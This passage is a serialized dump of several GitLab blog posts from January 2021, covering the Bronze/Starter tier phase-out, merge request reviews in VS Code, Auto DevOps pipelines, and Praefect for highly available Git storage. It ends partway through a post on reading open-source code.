}",{"title":19906,"description":19907,"authors":19911,"heroImage":12013,"date":19912,"body":19913,"category":736,"tags":19914},[3532],"2021-01-26","\n{::options parse_block_html=\"true\" /}\n\u003Cdiv class=\"panel panel-info\">\n  \u003Cp class=\"panel-heading\">\u003Cstrong>What you need to know:\u003C/strong\u003C/p>\n\u003Cdiv class=\"panel-body\">\n  \u003Cul>\n    \u003Cli>GitLab is phasing out the Bronze/Starter tier\u003C/li>\n    \u003Cli>Current Bronze/Starter customers have over a year to transition\u003C/li>\n    \u003Cli>Transition discount offers are available to current customers\u003C/li>\n    \u003Cli>GitLab Free continues to gain features, with over 450 in the last year\u003C/li>\n    \u003Cli> GitLab will continue to have SaaS and Self-Managed options for each tier\u003C/li>\n  \u003C/ul>\n\u003C/div>\n\u003C/div>\n\n{::options parse_block_html=\"false\" /}\n\n**GitLab is phasing out the Bronze and Starter tiers and moving to a three-tier subscription model.** Existing customers on Bronze and Starter tiers can choose to remain on the same tier until the end of their subscription period, and may renew at the current price for one additional year or upgrade to Premium at a significant discount. More details on the [transition offers are below](#timeline-and-transition-offers).\n\n## Why phase out the Bronze and Starter tiers?\n\nOver the last few years, GitLab has evolved into a complete [DevOps platform](/solutions/devops-platform/). Many Bronze/Starter customers adopted GitLab just for source code management (SCM) or continuous integration (CI), but GitLab is now a robust DevOps platform that can replace entire toolchains. GitLab customers are achieving faster releases, lower toolchain costs, and more productive developers.\n\nThe Bronze/Starter tier does not meet the [hurdle rate](https://www.investopedia.com/terms/h/hurdlerate.asp) that GitLab expects from a tier and is limiting us from investing to improve GitLab for all customers. Ending availability of the Bronze/Starter tier will help us accelerate development on [customers’ priority needs](/direction/#1-year-plan) such as improving usability, availability, performance, and delivering enterprise-grade security and compliance.\n\nThe Free tier of GitLab includes 89% of the features in Bronze/Starter, making it a great option to get started with DevOps. Last year alone, GitLab added over 450 new features to the Free Tier, and [we never move open source features to paid tiers](/company/stewardship/#promises). In addition, we have moved [our observability suite](/blog/observability/) and [many more features](/blog/new-features-to-core/) to the [Free tier](https://youtu.be/HaPvQgZ2SWM). For customers that require more control across their DevOps processes and support, the GitLab Premium tier is a better suited offering than Bronze/Starter. Learn more [about Premium below](#about-gitlab-premium).\n\n## Name change for the GitLab tiers\n\nWe want to make our product as easy as possible for you to understand and use. As part of that effort, we realized that inconsistent naming between our SaaS and Self-Managed offerings could be confusing, considering the feature set is largely consistent.\n\nFor that reason, we have decided to have consistent tier names for the two deployment options. There is no change to your existing tier subscriptions as a part of this rename, and each tier will continue to have SaaS or self-managed deployment options.\n\n| Current tier name | New tier name |\n| ------------------------- | -------------------- |\n| Free / Core | Free |\n| Silver / Premium | Premium |\n| Gold / Ultimate | Ultimate |\n\n## New three-tier model\n\nOur new three-tier model can be found [on the pricing page](/pricing/).\n\n## Timeline and transition offers\n\nWe understand that this change could be disruptive for our current Bronze/Starter customers, which is why GitLab is offering transition options and price discounts to ease your transition to Premium:\n\n1. ***If you have 25 users or fewer***, you can log into the [GitLab customer portal](https://customers.gitlab.com/) and:\n    1. Stay on Bronze/Starter now and renew your Bronze/Starter subscription at your next renewal before January 26, 2022 for one more year at $4/user/month\n      \u003Cbr> OR \u003Cbr>\n    1. Upgrade to GitLab Premium now for free, and at your next renewal receive a discounted GitLab Premium price for the next three years ($6/user/month in Year 1, $9/user/month in Year 2, and $15/user per month in Year 3)\n1. ***If you have more than 25 users***, your GitLab Sales Representative will guide you through your transition discount offers.\n\nAs of today, **new customers** can start their DevOps journey with GitLab Free, Premium, or Ultimate. Bronze/Starter is no longer available.\n\nIf you have any additional questions, please see our [Customer FAQ](/pricing/faq-new-product-subscription-tiers/).\n\n## About GitLab Premium\n\n[GitLab Premium](/pricing/premium/) gives you a complete DevOps platform with more control over what goes into production – enabling faster releases, reduced downtime, and improved visibility. It adds:\n- Enterprise performance and scale with high availability, disaster recovery, geo replication, advanced search, basic compliance, and auditing\n- Team-level project management with epics and roadmaps\n- Dashboards and Analytics with pipeline & environments dashboards, as well as value stream, code quality, & code review analytics\n- Controlled Deployments with Multiple Approvers, Approval Rules, and Protected Environments\n- Priority support\n\n  “GitLab is quick to point out issues, and even faster at fixing them. Good support has been a really big deal for us\" - [NVIDIA](/customers/nvidia/)\n  {: .alert .alert-info}\n\n  \"Since adopting GitLab Premium, all these pipelines have been made to run concurrently, and runtime of the testing and deployment has decreased by more than 66%.\" - [Paessler](/customers/paessler-prtg/)\n  {: .alert .alert-info}\n\n  \"You cannot have the proper installation at all with other products or other services. So if you want something in house in your own data center, it’s GitLab. We started with GitLab, we are with GitLab.” - Glispa\n  {: .alert .alert-info}\n\n## More information\n\nPlease find more information in the [Customer FAQs](/pricing/faq-new-product-subscription-tiers/), or contact your GitLab Sales Representative.\n\nTo address your questions and feedback, we have created a space in the [GitLab Community Forum](https://forum.gitlab.com/t/new-gitlab-product-subscription-model/), which is actively monitored by GitLab team members involved with this change.\n",[736],{"slug":19916,"featured":6,"template":678},"new-gitlab-product-subscription-model","content:en-us:blog:new-gitlab-product-subscription-model.yml","New Gitlab Product Subscription Model","en-us/blog/new-gitlab-product-subscription-model.yml","en-us/blog/new-gitlab-product-subscription-model",{"_path":19922,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19923,"content":19928,"config":19933,"_id":19935,"_type":16,"title":19936,"_source":17,"_file":19937,"_stem":19938,"_extension":20},"/en-us/blog/mr-reviews-with-vs-code",{"title":19924,"description":19925,"ogTitle":19924,"ogDescription":19925,"noIndex":6,"ogImage":11919,"ogUrl":19926,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19926,"schema":19927},"How to do GitLab merge request reviews in VS Code","Code review is critical to modern software development. We're making it easier by bringing merge request reviews right into VS Code.","https://about.gitlab.com/blog/mr-reviews-with-vs-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to do GitLab merge request reviews in VS Code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tomas Vik\"}],\n        \"datePublished\": \"2021-01-25\",\n      }",{"title":19924,"description":19925,"authors":19929,"heroImage":11919,"date":19930,"body":19931,"category":734,"tags":19932},[16443],"2021-01-25","\n\nThis post will give you an idea of how VS Code can aid your code review process. You'll get an overview of the features that GitLab VS Code Extension currently supports, as well as what we plan to introduce in the future.\n\nReviewing merge requests is a core part of GitLab: both the product (since [version 2.0.0](https://gitlab.com/gitlab-org/gitlab/blob/6a3621202e3f7274150862198f59d2579c326650/changelogs/archive.md#L7222), released in 2011) and the company. We recognize that certain review tasks are hard to do just by looking at the diff, and we strive to make them easier. One such task might be looking in the codebase for duplicated code or examples of a particular coding style.\n\nWe decided to aid code reviewers in two ways:\n\n## First way: The GitLab Web IDE\n\nFirst, we introduced the [Web IDE](/blog/introducing-gitlab-s-integrated-development-environment/), which helps our users work [with the codebase in the browser](/direction/create/ide/web_ide/#overview). You can quickly open multiple files, make changes, and commit them. The Web IDE is handy when you need to make a small change, or you don't have the project cloned locally.\n\nThe second way is more recent. We always wanted to bring the code review experience closer to code editors, where developers spend a large portion of their time. But the editor market is very fragmented (you find out the hard way if Emacs and Vim users meet at a party). And it isn't feasible to build GitLab support into all major editors (however, there are plenty of editor plugins maintained by the community[^1]). \n\n## Second way: Bringing code reviews into the editor\n\nRecently, as [VS Code gained a significant user share](https://insights.stackoverflow.com/survey/2019#development-environments-and-tools), it started to make sense to [commit to maintaining the GitLab VS Code extension](/blog/use-gitlab-with-vscode/), which was started as a community project by one, at the time, GitLab employee: [Fatih](https://gitlab.com/fatihacet). After an initial housekeeping period, we started chipping away tasks that will ultimately bring the code review experience into the editor.\n\nIn my previous post I talked about the great [VS Code Extension API](/blog/vscode-extension-development-with-gitlab/). This API gives extensions almost full control over the editor. When the API introduced commenting functionality two years ago, extensions could start contributing comments to the editor windows. These comments are shown similarly as comments on a Google Doc. Being able to natively show comments is perfect for reviewing code changes in the editor and other extensions that provide code reviews are already using this commenting API[^2].\n\n![Merge request review in VS Code](https://about.gitlab.com/images/blogimages/mr-reviews-with-vs-code/full-mr-review-screen.png){: .shadow.medium.center}\nMerge request review in VS Code\n{: .note .text-center}\n\nOver the last few milestones, we started showing MR changes in VS Code and even showing discussions on these. This means that you can open an MR in your editor and read through the code and comments without switching windows and context. I find this really useful because I can still interact with my editor the way I'm used to, even as I'm reviewing MRs. I can use full-text search to find if the MR duplicates existing code or I can open a different test file and compare whether the code style matches.\n\nCurrently, the interaction with MR is mostly read-only. That means you can see the changes and discussions, but you can't add or change comments, yet[^3]. But even in this current form, you can benefit from having the VS Code functionality so close to your review, especially for the initial understanding of the change.\n\n![VS Code supports Markdown in the comments](https://about.gitlab.com/images/blogimages/mr-reviews-with-vs-code/mr-review-long-comment.png){: .shadow.medium.center}\nVS Code supports Markdown in the comments\n{: .note .text-center}\n\n## What's next\n\nOver the next few milestones, we plan to make the commenting as interactive as you know it from the GitLab web interface. We'll start with editing existing comments, adding emoji reactions and resolving discussion threads. Lastly, we'll implement the full review functionality with creating comments and reviews[^4]. Each [iteration](https://handbook.gitlab.com/handbook/values/#iteration) will make the feature a bit more useful.\n\nI'm excited about the potential to stay in my editor for both creating and reviewing merge requests. I'm already using the current merge request review feature to get the initial understanding of what the MR tries to achieve. I can explore the related code more quickly in my editor. If you'd like to help us build the code review feature or just look at the current state of development, visit the [Merge Request Review epic](https://gitlab.com/groups/gitlab-org/-/epics/4607).\n\nYou can check out a walkthrough our initial proof of concept of merge request reviews in VS Code below:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/kKA6i8oqZAA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n[^1]: [IntelliJ](https://plugins.jetbrains.com/plugin/7447-gitlab-integration-plugin), [Atom](https://atom.io/packages/search?q=gitlab), [vim](https://github.com/shumphrey/fugitive-gitlab.vim), [Emacs](https://github.com/nlamirault/emacs-gitlab), ...\n[^2]: [Jira and Bitbucket](https://marketplace.visualstudio.com/items?itemName=Atlassian.atlascode), [GitHub Pull Requests and Issues](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-pull-request-github)\n[^3]: You can work around that by using the MR overview and commenting there.\n[^4]: [MR review: interacting with existing comments - POC](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/269) and [MR review: new comments and reviews POC](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/293) represent the initial investigation.\n\n[Cover image](https://art.ljubicapetkovic.com/cc-licensed/) by [Ljubica Petkovic](https://art.ljubicapetkovic.com), licensed under [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/)\n{: .note}\n",[1207,232,696],{"slug":19934,"featured":6,"template":678},"mr-reviews-with-vs-code","content:en-us:blog:mr-reviews-with-vs-code.yml","Mr Reviews With Vs Code","en-us/blog/mr-reviews-with-vs-code.yml","en-us/blog/mr-reviews-with-vs-code",{"_path":19940,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19941,"content":19947,"config":19952,"_id":19954,"_type":16,"title":19955,"_source":17,"_file":19956,"_stem":19957,"_extension":20},"/en-us/blog/cd-automated-integrated",{"title":19942,"description":19943,"ogTitle":19942,"ogDescription":19943,"noIndex":6,"ogImage":19944,"ogUrl":19945,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19945,"schema":19946},"GitLab’s automated and integrated continuous delivery","Learn about how the power of GitLab Auto DevOps can help increase productivity and speed up releases.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681872/Blog/Hero%20Images/CD-2st-mkt-diff-cover-1275x849.jpg","https://about.gitlab.com/blog/cd-automated-integrated","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab’s automated and integrated continuous delivery\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2021-01-22\",\n      }",{"title":19942,"description":19943,"authors":19948,"heroImage":19944,"date":19949,"body":19950,"category":18484,"tags":19951},[937],"2021-01-22","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nOrganizations adopting DevOps best practices to software delivery spend time and effort designing, building, testing, integrating, and maintaining CI/CD pipelines for their different projects. Just as they must spend some of their time maintaining their business applications instead of innovating, they must do the same for their pipelines. Freeing your developers so that they can spend more of their time creating new business applications and differentiating value to the business is of utmost importance to remain competitive in a world where organizations must be digital leaders to succeed in the marketplace.\n\nGitLab provides [Auto DevOps](/topics/devops/), which are prescribed out-of-the-box CI/CD templates that auto-discover the source code you have. Based on best practices, they automatically detect, build, test, deploy, and monitor your applications. Auto DevOps save your developers from implementing their own pipelines so that they can spend more time innovating. In the following paragraphs, we go over how the power of Auto DevOps automates and integrates your continuous delivery to help increase productivity and speed up releases.\n\n## Enabling Auto DevOps\n\nIt’s very easy to enable Auto DevOps for your application. All you need to do is go to your Project Settings and select the configuration you desire for Auto DevOps. As the picture below depicts, you can select the deployment strategy to “Automatic deployment to staging, manual deployment to production”:\n\n![autodevops-on](https://about.gitlab.com/images/blogimages/cd-automated-integrated/autodevops-on.png){: .shadow.medium.center.wrap-text}\n\nThe Auto DevOps pipeline shifts work left to find and prevent defects as early as possible in the software delivery process.\n\nThe pipeline then deploys the application to staging for verification and then to production in an incremental fashion. Auto DevOps saves you and your developers from implementing your own pipelines so that you can spend more time innovating.\n\n## Auto DevOps stages and jobs\n\nThe stages and jobs of the Auto DevOps pipeline vary according to the way you configured it. You can also customize the prescribed Auto DevOps pipeline or reuse only portions of it. Let’s review the prescribed stages and jobs for a simple Java application.\n\n1) First you find the Build stage. Auto Build creates a build of the application using an existing Dockerfile or buildpacks. The resulting Docker image is pushed to the built-in Container Registry. \n\n![auto-build](https://about.gitlab.com/images/blogimages/cd-automated-integrated/auto-build.png){: .shadow.medium.center.wrap-text}\n\nAll these steps are automatically executed on your application so that you can spend more time delivering value to the business.\n\n2) Next is a variety of tests under the Test stage. Auto DevOps includes jobs for static analysis and code checks, For identifying security issues in containers, For analyzing project dependencies and security issues, For scanning license dependencies, For detecting credentials and secrets exposure, For running security analysis of Java code, And for specific unit tests for the language and framework.\n\n![auto-test](https://about.gitlab.com/images/blogimages/cd-automated-integrated/auto-test.png){: .shadow.medium.center.wrap-text}\n\nAll these tests increase the quality of code, compliance and reliability that translate into a highly resilient production environment.\n\n3) The review stage contains a single job that spins up an ephemeral environment to be used by the Dynamic Application Security Testing or DAST. Likewise the Dast stage has the job, Auto Dynamic Application Security Testing, which analyzes the current code and checks for potential security issues by running (Open Web Application Security Project) OWASP-related tests.\n\n![auto-review-dast](https://about.gitlab.com/images/blogimages/cd-automated-integrated/auto-review-dast.png){: .shadow.medium.center.wrap-text}\n\n4) The prescribed stages and jobs in Auto DevOps vary depending on how you configure it. In this example, the user has selected “Automatic deployment to staging, manual deployment to production” when enabling Auto DevOps, so towards the CD portion of the pipeline, we see the staging stage, which contains a single job. The staging job deploys the user’s application to the staging environment. It will also instantiate the staging environment, if needed.\n\n![auto-staging](https://about.gitlab.com/images/blogimages/cd-automated-integrated/auto-staging.png){: .shadow.medium.center.wrap-text}\n\n5) The production stage is manual and contains four jobs to incrementally deploy his application to production. An incremental rollout decreases the risk of a production outage or downtime. By releasing production changes gradually, error rates or performance degradation can be monitored, and if there are no problems, all of production can be updated.\n\n![auto-prod](https://about.gitlab.com/images/blogimages/cd-automated-integrated/auto-prod.png){: .shadow.medium.center.wrap-text}\n\n6) The user has been prescribed a performance stage with a single job with the same name. Auto Browser Performance Testing measures the browser performance of each web page and reports on any degradation or improvement so that appropriate action can be taken.\n\n![auto-browser-perf](https://about.gitlab.com/images/blogimages/cd-automated-integrated/auto-browser-perf.png){: .shadow.medium.center.wrap-text}\n\n7) The last stage is the cleanup stage, which contains a job that brings down and frees all resources of the ephemeral DAST environment that was brought up earlier in the CI portion of the pipeline.\n\n![auto-cleanup](https://about.gitlab.com/images/blogimages/cd-automated-integrated/auto-cleanup.png){: .shadow.medium.center.wrap-text}\n\nThis entire prescribed CI/CD pipeline, with all its stages and jobs, is based on best practices and is automatically run for the user’s project saving them time and effort from developing their own pipeline.\n\n## Auto Review Apps\n\nAs developers collaborate on a project, Auto DevOps automatically includes Auto Review Apps, which stands up an ephemeral environment for stakeholders to review the running application with proposed changes before they are merged to the main branch. The teardown and freeing of the resources of the ephemeral review environment are also automatically done by Auto DevOps once the merge takes place.\n\n![auto-review-apps](https://about.gitlab.com/images/blogimages/cd-automated-integrated/auto-review-apps.png){: .shadow.medium.center.wrap-text}\n\n## Modifying Auto DevOps\n\nHere are some ways that you can modify Auto DevOps.\n\n1) **Customization via environment variables**. If you would like to skip some of the stages and jobs in Auto DevOps, you can do this via project variables. For example, say you are using all open source licensed software within your project and you are pretty confident about your web application performance, and you’d also like to add the ability to do canary deployments. You can customize Auto DevOps via environment variables to skip the license-scanning and performance jobs and add canary deployments to your project by creating and setting specific environment variables as shown below.\n\n![auto-env-vars](https://about.gitlab.com/images/blogimages/cd-automated-integrated/auto-env-vars.png){: .shadow.medium.center.wrap-text}\n\nYou could also use the GitLab APIs to script these modifications if he so desired.\n\n2) **Customization by editing the DevOps pipeline**. Another way to customize the Auto DevOps pipeline is by adding it to your own project and then making changes to it.\nBelow you can see a screen snapshot of an Auto DevOps pipeline edit where LICENSE_MANAGEMENT and web PERFORMANCE tests are being disabled.\n\n![autodevops-pipeline-edit](https://about.gitlab.com/images/blogimages/cd-automated-integrated/autodevops-pipeline-edit.png){: .shadow.medium.center.wrap-text}\n\n3) **Customization by using only portions of Auto DevOps**. You could also leverage portions of Auto DevOps in your own pipeline by including specific templates. In the smaller pipeline below, only the Auto Build and Auto Test capabilities of Auto DevOps are being reused.\n\n![autodevops-portions](https://about.gitlab.com/images/blogimages/cd-automated-integrated/autodevops-portions.png){: .shadow.medium.center.wrap-text}\n\nThe power of Auto DevOps automates and integrates your continuous delivery to help speed up your releases by saving you time from having to write your own pipelines. By using Auto DevOps you can accelerate your product delivery times and bring differentiating application features faster to market.\n\nIf you’d like to see the power of GitLab Auto DevOps in action, watch this [video](https://youtu.be/blJT8f6ZDH8).\n\nFor more information, visit [LEARN@GITLAB](https://about.gitlab.com/learn/).\n\nPhoto by [Tim Carey](https://unsplash.com/@baudy?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/formula-1?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[1385,4103,4144],{"slug":19953,"featured":6,"template":678},"cd-automated-integrated","content:en-us:blog:cd-automated-integrated.yml","Cd Automated Integrated","en-us/blog/cd-automated-integrated.yml","en-us/blog/cd-automated-integrated",{"_path":19959,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19960,"content":19966,"config":19972,"_id":19974,"_type":16,"title":19975,"_source":17,"_file":19976,"_stem":19977,"_extension":20},"/en-us/blog/high-availability-git-storage-with-praefect",{"title":19961,"description":19962,"ogTitle":19961,"ogDescription":19962,"noIndex":6,"ogImage":19963,"ogUrl":19964,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19964,"schema":19965},"Meet Praefect: The traffic manager making your Git data highly available","This router and transaction manager ensures there are multiple copies of each Git repository available in the event of an outage – no NFS required.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669204/Blog/Hero%20Images/traffic-intersection.jpg","https://about.gitlab.com/blog/high-availability-git-storage-with-praefect","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet Praefect: The traffic manager making your Git data highly available\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Zeger-Jan van de Weg\"}],\n        \"datePublished\": \"2021-01-21\",\n      }",{"title":19961,"description":19962,"authors":19967,"heroImage":19963,"date":19969,"body":19970,"category":734,"tags":19971},[19968],"Zeger-Jan van de Weg","2021-01-21","\nAs critical software projects grow, scaling infrastructure to make the service [highly available](https://en.wikipedia.org/wiki/High_availability) is key. At GitLab, our biggest struggle in scaling was right in our name: Git.\n\n## The trouble with scaling Git\n\nGit is software that is distributed, but not usually run in a ‘highly available cluster,’ which is what GitLab needs. At first, we solved this with a [boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions), NFS – which exposes a shared filesystem across multiple machines and generally worked. As we’d soon find out, most NFS appliances were for bulk storage and not fast enough. This led to problems with GitLab’s Git access being slow.\n\nTo solve the speed problem we built [Gitaly, our service that provides high-level RPC access to Git repositories](https://docs.gitlab.com/ee/administration/gitaly/). \n\nWhen we started with [Gitaly v1.0](/blog/the-road-to-gitaly-1-0/), our goal was to remove the need for a network-attached filesystem access for Git data. When that was complete, the next problem to tackle was that all your data is only stored once. So, if you have a server down, or your hard disk dies, or something happens to this one copy, you're in deep trouble until a backup is restored. This is an issue for GitLab.com, but it’s also a big risk for our customers and community.\n\nBack at our [Summit in Cape Town](/company/culture/contribute/previous/#summit-in-cape-town-south-africa) in 2018, the Gitaly team (at the time, that was [Jacob Vosmaer](/company/team/?department=all#jacobvosmaer-gitlab) and me) and some other engineers discussed pursuing a fault-tolerant, highly available system for Git data. For about a month we went back and forth about how we would go about it – ranging from wild ideas to smaller iterations towards what we want. The challenge here was that the ultimate aim is always going to be 100% availability, but you’re never going to make that. So let's aim for a lot of nines (three nines being 99.9%, five being 99.999%, etc.) Ideally, we'd be able to iterate to 10 nines if we wanted to. \n\nEventually we chose the design of a proxy: introduce a new component in the GitLab architecture, which is Praefect, and then route all the traffic through it to Gitaly storage nodes to provide a [Gitaly Cluster](https://docs.gitlab.com/ee/administration/gitaly/praefect.html). Praefect inspects the request and tries to route it to the right Gitaly backend, checks that Gitaly is up, makes sure the copies of your data are up to date, and so on. \n\n## First iteration: Eventual consistency\n\nTo cut the scope, for our first iterations we settled on eventual consistency, which is fairly common – we even use it for some GitLab features. With Git data, if we are behind a minute, it's not a big deal because at GitLab at least 90% of operations on our Git data are just reads, compared to a very small volume of writes. If I run `git pull` and I'm one commit behind master, that's not ideal, but not a deal breaker in most cases. \n\nWith eventual consistency, each repository gets three copies: one primary and two secondary. We replicate your data from the primary to the other copies, so that if your primary is inaccessible, we can at least give you read access to the secondary copies until we recover the primary. There’s a chance the secondaries are one or two commits behind your primary, but it’s better than no access.\n\nWe rolled this out in [13.0](/releases/2020/05/22/gitlab-13-0-released/#gitaly-cluster-for-high-availability-git-storage) as generally available. \n\n## Strong consistency\n\nThe next stage was to work on strong consistency, where all of your three copies are always up to date. \n\nWhen you write to your Git repository, there’s a moment where Praefect says, “OK, I'm going to update branch A from #abc to #cbd.” If all three copies agree on the updates, then Praefect tells everyone to apply this update and now, almost at the same moment in time, they'll update the data to the same thing. Now you've got three copies that are up to date.\n\nSo, if one copy is offline for some reason – let’s say a network partition, or the disk is corrupted – we can serve from the other two copies. Then the data remains available, and you have more time to recover the third copy as an admin. Effectively, while you always have a designated primary, it's actually more like having _three_ primaries, because they are all in the same state. \n\nIf the default state of a system is consistent it requires maintaining this consistency on each mutation to the data that's performed. All possible requests to Gitaly are grouped into two classes: mutators and accessors. Meaning that there was a risk we had to migrate each mutator RPC individually. That would've been a major effort, and if possible, we wanted to push this problem to Git. Gitaly uses Git for the majority of write operations, and was thus the largest common denominator.\n\nSo Git had to become aware of transactions, which ideally isn't part of Git. There are more areas where it would be nice if Git was aware of business logic, but if we're honest with ourselves, it's not really Git's concern: authentication and authorization. At GitLab we use [Git Hooks](https://git-scm.com/docs/githooks.html#_hooks) for that. So the idea [applied and contributed](https://public-inbox.org/git/1de96b96e3448c8f7e7974f7c082fd08d2d14e96.1592475610.git.ps@pks.im/T/#m9ae42f583968aa1d8ca43bd3007333cf51a618cc) (thanks, [Patrick Steinhardt](/company/team/#pks-gitlab)!) was the same: when events happen with Git, execute a hook and allow Gitaly to execute business logic. Through the exit code of the hook, Git is signaled on how to proceed. In Git, these events are updates of any reference (for example, branches or tags). When this happens Git will then allow Gitaly to participate in a [three-phase commit](https://en.wikipedia.org/wiki/Three-phase_commit_protocol) transaction by communicating back to Praefect, and enforce consistency. So we got that released in Git, fixed a bug, and now we’re [rolling it out to almost all write requests](https://gitlab.com/gitlab-org/git/-/issues/79).\n\n## A defensible cost increase\n\nNow strong consistency is great, but we are effectively asking our customers, “Instead of one copy, why don't you triple your storage costs and your server costs and whatnot, and you have zero benefits unless something goes wrong.” That wasn't really appealing for most customers, but now we’ve sweetened the deal with increased performance and making the cost increase more manageable. \n\nSo, if you have three copies of your data that are up to date, then all of them could serve any request that doesn't mutate the data, right? Because you know they're up to date. Right now, [Pavlo](/company/team/?department=gitaly-team#8bitlife) is working on [read distribution, which we are making generally available in 13.8](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/71960) (coming Jan. 22, 2021). [We rolled it out briefly before](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/58694), but it didn’t scale as expected, so we’ve worked with QA to mitigate that.\n\nRight now, Praefect is rolled out to a very limited subset of projects on GitLab.com, because running it is expensive already. When I first proposed rolling it out for everyone, it was very quick to calculate that that will triple our Gitaly Clusters – not within the budget at all! So we're trying to iterate towards that goal. The first step is to work on allowing a [variable replication factor](https://docs.gitlab.com/ee/administration/gitaly/praefect.html#variable-replication-factor). It can be expensive to store a lot of data multiple times, so why don't we make it so that you can store some repositories three times and some just one time, and you don't get the guarantees and the availability of those with three copies.\n\n## Challenges and lessons learned\n\nSo we have Praefect, this new component, but it's not installed by default on GitLab Omnibus –\nyou have to enable it yourself. The [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit) uses it as well as the tests on GitLab.com, for GitLab projects, but that wasn’t always the case. When you have an optional part in your architecture, if you’re debugging or talking with customers, there is the additional mental burden of verifying what the architecture looks like. Without it, you can make much quicker assumptions on what's going on and why it's working or why it isn't. Officially, we have deprecated NFS, so it makes sense to make it a required component so we can depend on it being there.\n\nAlso, as we add more features to Praefect, if it’s still optional then some customers get those added benefits and some don’t.\n\n### We should have put it in production sooner\n\nOur first iteration was just proxying the traffic, doing nothing with it, and verifying that it works. We didn't put it in production because it offered nothing to the community. But, it includes new components in your architecture, which our SREs need to know about, and there were a couple of bugs we found out much later. I was hesitant to put something in production that didn't offer anything in return, but if we’d been a little more aggressive with putting it out there – even just for a small subset of projects – we would understand more quickly what we're running, what was working, and what wasn't. \n\n### Applying big architectural changes takes time\n\nIf you ask customers to make giant architectural changes, it's going to take longer than you think. When we released Praefect and Gitaly Clusters in 13.0, it was fairly rough around the edges and some things weren't working as you would expect, but it was a good time to release because now, six months later, we see customers finally starting to implement it. They want to validate, try it out on a subset, and then finally roll it out for their whole GitLab instance. While that took longer than I expected, it's cool to see the numbers going up now, and adoption is growing quite rapidly.\n\n## More than just a traffic manager\n\nPraefect does much more than just inspect the traffic. If Gitaly goes down, ideally you want to notice that before you actually fire a request, which Praefect does. It does failover, so if one fails and it was designated as a primary, then it fails over to a secondary, which is now designated as a primary. \n\nI'm really excited for the next few years and the kind of things we are planning to build in Praefect and what that will deliver to GitLab.com and our customers and community. Where before we didn’t have very granular control over what we were doing or why we were doing it, now we can intercept and optimize.\n\n## What's next\n\nWe're shipping [HA Distributed Reads](https://gitlab.com/gitlab-org/gitaly/-/issues/3334) in GitLab 13.8 (Jan. 22, 2021). For 13.9, we're shooting for [strong consistency in the Gitaly Cluster](https://gitlab.com/groups/gitlab-org/-/epics/1189) and [variable replication factor](https://gitlab.com/groups/gitlab-org/-/epics/3372).\n\nFor GitLab self-managed users, consider enabling Praefect if you have high availability requirements. Visit our [Gitaly Clusters documentation](https://docs.gitlab.com/ee/administration/gitaly/praefect.html) to get started.\n\n_Major thanks to [Rebecca Dodd](/company/team#rebecca) who contributed to this post._\n\nCover image by [Yoel J Gonzalez](https://unsplash.com/@yoeljgonzalez?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText\") on [Unsplash](https://unsplash.com/s/photos/traffic?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText)\n{: .note}\n",[942,1067,676,232,815],{"slug":19973,"featured":6,"template":678},"high-availability-git-storage-with-praefect","content:en-us:blog:high-availability-git-storage-with-praefect.yml","High Availability Git Storage With Praefect","en-us/blog/high-availability-git-storage-with-praefect.yml","en-us/blog/high-availability-git-storage-with-praefect",{"_path":19979,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19980,"content":19985,"config":19990,"_id":19992,"_type":16,"title":19993,"_source":17,"_file":19994,"_stem":19995,"_extension":20},"/en-us/blog/how-to-read-open-source-finding-middleman-callbacks",{"title":19981,"description":19982,"ogTitle":19981,"ogDescription":19982,"noIndex":6,"ogImage":18477,"ogUrl":19983,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19983,"schema":19984},"How to Read Open Source: Finding Middleman Callbacks","Open source empowers you to learn beyond existing documentation. Getting started can be confusing. This is a demonstration finding unlisted Middleman callbacks.","https://about.gitlab.com/blog/how-to-read-open-source-finding-middleman-callbacks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to Read Open Source: Finding Middleman Callbacks\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tyler Williams\"}],\n        \"datePublished\": \"2021-01-20\",\n      }",{"title":19981,"description":19982,"authors":19986,"heroImage":18477,"date":19987,"body":19988,"category":18484,"tags":19989},[18723],"2021-01-20","        \n\n{::options parse_block_html=\"true\" /}\n\n\n\n## Why read open source? \n\nWhen folks write about open source, I think there is a strong emphasis on contributing to open source projects, which makes sense. Many software professionals are excited to give back to the community. \n\nBut beyond adding to your favorite project, open source philosophies have a number of other benefits in our daily lives. In particular, I love open source because it allows me to learn more about my tools when the documentation is out of date, incomplete, or leaves me with additional questions from my own curiosity. \n\nThis happened to me recently when I was working on 